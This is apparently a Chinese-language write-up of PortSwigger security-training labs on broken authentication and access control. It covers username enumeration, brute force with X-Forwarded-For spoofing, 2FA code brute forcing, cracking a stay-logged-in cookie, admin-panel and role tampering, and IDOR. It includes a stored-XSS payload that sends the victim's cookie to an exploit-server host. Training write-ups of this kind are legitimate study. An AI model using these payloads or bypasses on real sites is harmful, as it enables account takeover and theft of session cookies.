这个实验室很容易使用响应时间进行用户名枚举。要解决实验室问题,请枚举一个有效的用户名,强制使用该用户的密码,然后访问他们的帐户页面。

提示:
为了增加挑战,实验室还实施了一种基于IP的暴力保护。然而,这可以通过操纵HTTP请求头轻松绕过。

抓取登录的数据包,使用intruder进行用户名爆破,将密码设置为很长,以增大延时。使用pitchfork,增加XFF头用来伪造IP

image-20230116170754861

然后打开response received和response completed列,可以看到用户名为affiliates时,相比其他延时较大

image-20230116171448917

同上文提到的密码爆破方法对密码进行爆破,容易得出用户名为affiliates,密码为thomas

image-20230116171724091

成功登录受害者用户

image-20230116171902557

补充分析:

  • Pitchfork类型是将payload随着请求数而遍历,也就是两个字典的输入值是一一对应的
  • XFF头指的是HTTP报文最原始的IP地址,通过修改XFF可以达到伪造IP的作用

Broken brute-force protection, IP block

靶场要求:

由于密码暴力保护的逻辑缺陷,该实验室易受攻击。为了解决实验室问题,暴力破解受害者的密码,然后登录并访问他们的帐户页面。

实验步骤:

抓取登录的数据包,使用pitchfork进行爆破

image-20230116174416947

由于本Lab对用户登录连续失败次数过多会锁定IP,所以我们要采用我们已知正确的用户和受害者用户交替登录的形式,制作字典image-20230116174054412

设置线程池最大请求数为1,进行密码爆破,并设置过滤掉2xx的response,再按Payload排序,容易看到用户名为carlos,密码为jennifer也登录成功了

image-20230116175647089

image-20230116175351092

image-20230116175829634

成功登录受害者用户

image-20230116175947791

Username enumeration via account lock

靶场要求:

此实验室易受用户名枚举攻击。它使用帐户锁定,但这包含一个逻辑缺陷。要解决实验室问题,请枚举一个有效的用户名,强制使用该用户的密码,然后访问他们的帐户页面。

实验步骤:

抓取登录数据包,使用Cluster bomb进行爆破,该模式下会将两个payload完全组合

image-20230119153926662

第一个payloads设置为候选用户名,第二个payloads设置为Null,重复次数设为5

image-20230119153826185

image-20230119153832991

爆破出结果后按Length排序,看到第一条的response里有“You have made too many incorrect login attempts. Please try again in 1 minute(s).“,我们锁定这个用户名aq,随后我们等待一分钟

image-20230119154132529

按上文提到的爆破密码的方法把密码爆破一遍,得出用户名aq,密码batman,成功登录受害者账户image-20230119154934430

image-20230119154926616

补充分析:这个靶场如果多次请求账户并且输入密码,会导致出现账户锁定的情况。我们可以推断出只有输入正确的用户名,才会导致账户锁定,所以我们可以检索出正确的用户名进行尝试

2FA broken logic

靶场要求:

这个实验室的两要素认证是脆弱的,由于其有缺陷的逻辑。 要解决的实验室,访问carlos的帐户的网页。

  • 你凭据: wiener:peter
  • 受害者的用户名: carlos

你还有的访问的电子邮件服务器收到你的2FA验证码。

实验步骤:

抓取提交验证码的数据包,将cookie中的verify=wiener改为受害者的verify=carlos

image-20230121143659203

然后对提交的验证码进行爆破(从0000到9999),可以用python生成个验证码爆破字典,也可以设置payload格式为Brute forcer,字符集设为0123456789

with open('out.txt','w') as f:
    for i in range(10000):
        f.write(f'{i:04}'+'\n')

image-20230121150707727

经过一段很长时间的爆破,然后爆破了几遍没爆破出来(

image-20230121160340166

image-20230121145748631

未完成

靶场要求:

此实验室允许用户在关闭浏览器会话后仍保持登录状态。用于提供此功能的 cookie 容易受到暴力破解。为了解决实验室问题,暴力破解 Carlos 的 cookie 以访问他的“我的帐户”页面。

实验步骤:

抓取登录保持的数据包,分析stay-logged-in字段,根据结构我们猜测该字段经过base64编码,尝试解码

image-20230121161558805

image-20230121161048427

解码后,用户名后面的密码部分也不难看出是用MD5加密

image-20230121161239866

至此,我们分析出了stay-logged-in字段的结构为:base64_encode(username:md5(password)),所以我们构造payload进行爆破

image-20230121162611579

image-20230121162556918

爆破成功,这里我们根据response的Set-cookie来登录受害者用户,也可以将发送的请求解码再解密,得出密码为aaaaaa

image-20230121162853063

image-20230121162844545

成功登录受害者用户

image-20230121163004976

补充分析:熟悉常见编码以及加密方式

Offline password cracking

靶场要求:

这个实验室存储用户的密散列在一个饼干。 实验室还包含一个XSS脆弱性评论的功能。 要解决的实验室,获得卡洛斯的 stay-logged-in 饼干并用它来破解了他密码。 然后,登录在 carlos 和删除他的账户从"我的帐户"网页。

  • 你凭据: wiener:peter
  • 受害者的用户名: carlos

实验步骤:

登录后随便进一篇文章,在留言板插入储存型XSS:<script>documnet.location='https://exploit-0a2b00e3039cfa87c05e44870157005d.exploit-server.net'+document.cookie</script>

image-20230121165608772

------------------------------

越权

image-20230121231859194

访问控制(或授权)是对谁(或什么)可以执行尝试的操作或访问他们请求的资源的约束的应用。在web应用程序的上下文中,访问控制取决于身份验证和会话管理:

  • 身份验证可识别用户并确认他们是他们所说的人。

  • 会话管理标识同一用户正在发出哪些后续HTTP请求。

  • 访问控制确定是否允许用户执行他们试图执行的操作。

破坏的访问控制是一个常见的、通常是关键的安全漏洞。访问控制的设计和管理是一个复杂而动态的问题,它将业务、组织和法律约束应用于技术实现。访问控制设计决策必须由人类而非技术做出,并且错误的可能性很高。

Unprotected admin functionality

这个实验室有一个不受保护的管理面板。通过删除用户carlos来解决实验室问题。

robots数据泄露,访问/robots.txt

image-20230121232448970

再访问/administrator-panel,直接垂直越权,删除用户carlos

image-20230121232548653

Unprotected admin functionality with unpredictable URL

这个实验室有一个不受保护的管理面板。它位于一个不可预测的位置,但该位置在应用程序中的某个位置被公开。
通过访问管理面板并使用它删除用户carlos来解决实验室问题。

查看页面源代码,访问/admin-0ijqim,删除用户carlos

image-20230121232746116

image-20230121232838128

User role controlled by request parameter

这个实验室有一个位于/admin的管理面板,用于识别使用可伪造cookie的管理员。
通过访问管理面板并使用它删除用户carlos来解决实验室问题。
您可以使用以下凭据登录到自己的帐户:wiener:peter

登录账户,修改cookie,将Admin=false改为Admin=true

image-20230121233216467

随后访问/admin,删除用户carlos

image-20230121233351378

User role can be modified in user profile

这个实验室有一个位于/admin的管理面板。只有角色ID为2的登录用户才能访问它。
通过访问管理面板并使用它删除用户carlos来解决实验室问题。
您可以使用以下凭据登录到自己的帐户:wiener:peter

登录账户,抓取更新邮箱的数据包,查看response发现一个roleid

image-20230121233836789

于是我们尝试在请求时添加这个字段,传入的参数值为2,成功越权

image-20230121233940849

访问/admin,删除用户carlos

image-20230121234031120

User ID controlled by request parameter

此实验室在用户帐户页面上存在横向权限提升漏洞。
要解决实验室问题,请获取用户carlos的API密钥并将其作为解决方案提交。
您可以使用以下凭据登录到自己的帐户:wiener:peter

抓取点击My account请求的数据包,发现请求的参数含有wiener,我们将其改为carlos便可以伪造登录

image-20230121234502121

image-20230121234537455

User ID controlled by request parameter, with unpredictable user IDs

此实验室在用户帐户页面上存在横向权限提升漏洞,但使用GUID标识用户。
要解决实验室问题,请找到carlos的GUID,然后提交他的API密钥作为解决方案。
您可以使用以下凭据登录到自己的帐户:wiener:peter

登录用户,抓取登录的数据包,可以发现请求了id=e6b5074a-501e-4b08-8d69-1e8dbb2af207,这一段id是代表我们的用户id

image-20230204171127553

接下来我们找到carlos的文章,获取到id=af9a8df9-9e0d-4b4d-aba4-d58c4115281b

image-20230204171216075

image-20230204171318084

评论